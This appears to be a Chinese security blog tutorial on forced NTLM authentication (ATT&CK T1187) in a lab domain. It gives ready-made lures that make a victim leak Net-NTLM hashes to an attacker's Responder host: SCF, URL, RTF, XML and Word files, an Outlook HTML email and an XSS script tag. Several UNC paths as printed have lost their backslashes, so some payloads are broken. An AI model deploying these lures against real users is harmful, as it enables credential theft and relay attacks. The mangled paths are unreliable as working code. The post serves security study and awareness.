T1187 强制 NTLM 认证
2021-05-06 13:03:10 Author: www.secpulse.com(查看原文) 阅读量:163 收藏

在上一篇文章 一文理解 Windows 身份验证原理 介绍了什么是 NTLM 以及一些利用 NTLM 进行更一步获取权限的方式,其中就有 NTLM 中继、 Net-NTLM hash 破解。但实现这些利用,需要发起 NTLM 请求,本文章介绍下如何强制发起 NTLM 请求。
环境准备
本文章的环境是根据之前文章 搭建一个简单的Windows域环境 搭建的。先在 kali 上启动 Responder 来监听 Net-NTLM hash 。kali 的 ip 为 172.16.108.4
responder -I eth0
接着在 Windows Server 2012 域控主机上安装 office ,用于后续测试。
下面介绍一些强制进行 NTLM 认证的方式,让 Windows 2012 强制向 kali 主机发起 NTLM 请求,从而获取域控账号的 Net-NTLM hash,当然也可以进行 NTLM 中继攻击,具体方法请查看上一篇文章。
1. 通过超链接执行
让我们创建一个Word文档,该文档具有指向 kali 服务器的超链接
超链接地址为 \172.16.108.41.txt ,也就是 kali 服务器 Responder 的地址
在用户诱导点击后,会在 Responder 上收到发起的 NTLM 请求,成功获取  Net-NTLM hash
所以不要随便打开文档中的超链接,即使没病毒,也可能被进行强制认证。
2. 通过 .SCF 文件执行
编辑一个 fa.scf 文件,内容如下
[Shell]
Command=2
IconFile=\172.16.108.4nc.ico
[Taskbar]
Command=ToggleDesktop
当用户打开存放该文件的目录时,fa.scf 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上,用户打开该共享目录时,就会进行强制认证。
可以先删除 Responder 的缓存再进行测试,不然会显示跳过之前捕获的 hash
rm /usr/share/responder/Responder.db
重新打开存在 fa.scf 文件的目录,或者点刷新,就可以发起 NTLM 认证了 

3. 通过 .URL 文件执行

创建一个 a.url 文件,内容如下,并将其上传到受害者系统:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\172.16.108.41.icon
IconIndex=1
当用户打开存放该文件的目录时,a.url 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证
4. 通过.RTF文件执行
新建一个 file.rtf 文件,它将尝试从攻击系统加载图像:
{rtf1{field{*fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}
 在受害者系统上执行 file.rtf 会被强制进行 NTLM 认证:

5. 通过.XML 文件执行

Word文档可以另存为.xml
可以通过包含一个从攻击者控制的服务器请求文档样式表的标签(第3行)来进行 NTLM 强制认证。 当打开该 xml 文档时,会进行 NTLM 认证。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?mso-application progid="Word.Document"?>
<?xml-stylesheet type="text/xsl" href="\172.16.108.4bad.xsl" ?>

6. 通过Field IncludePicture执行

创建一个新的Word文档并插入一个域IncludePicture:

 
将文件另存为.xml 或者 docx。 启动文档会进行强制 NTLM 认证

7. 通过 Outlook 执行
如果目标系统未运行最新版本的Windows / Outlook,则可以制作这样的电子邮件,使攻击者无需用户进行任何干预即可窃取受害者的 NetNTLMv2 哈希-单击电子邮件即可预览并发起强制 NTLM 认证。
 
请注意,此攻击不适用于Windows 10和Outlook 2016版本的最新版本,或者需要在outlook设置开启自动加载图片。
 
使用以下内容发送邮件到outlook:
<html>
    <h1>holla good sir</h1>    
    <img src="file://172.16.108.4/download.jpg">
</html>

 
RTF文件也可以使用:
 

{rtf1{field{*fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \* MERGEFORMAT\d}}{fldrslt}}}

 
在收到邮件后点击该邮件,会自动加载图片进行 NTLM 认证
 
8. 通过漏洞发起 NTLM请求
使用常见的Web漏洞,也可以发起 NTLM 请求,如 XSS、SSRF、XXE等可以导致服务器去访问一个URL的漏洞。以 XSS 为例,新建一个 html 文件。里面存在 XSS 利用代码
<html><script src="//172.16.108.4/1.js"><html/>
由于 Windows server 版本的 IE 启用了保护模式,所以需要关闭才可以自动加载外部脚本。
关闭后,打开 html 文件,即可进行 NTLM 认证
参考链接
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
https://www.anquanke.com/post/id/193493
https://attack.mitre.org/techniques/T1187/

本文作者:timeshatter

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158433.html


文章来源: https://www.secpulse.com/archives/158433.html
如有侵权请联系:admin#unsafe.sh